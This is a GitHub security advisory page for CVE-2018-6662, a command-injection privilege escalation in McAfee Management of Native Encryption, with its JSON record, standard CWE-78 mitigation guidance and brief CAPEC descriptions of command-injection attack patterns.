Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31Privilege Escalation vulnerability in McAfee Management of Native Encryption (MNE) before 4.1.4 allows local users to gain elevated privileges via a crafted user input.
{
"affected": [],
"aliases": [
"CVE-2018-6662"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-05T14:29:00Z",
"severity": "HIGH"
},
"details": "Privilege Escalation vulnerability in McAfee Management of Native Encryption (MNE) before 4.1.4 allows local users to gain elevated privileges via a crafted user input.",
"id": "GHSA-6chj-cqj2-4qmr",
"modified": "2022-05-13T01:31:59Z",
"published": "2022-05-13T01:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6662"
},
{
"type": "WEB",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10232"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104009"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.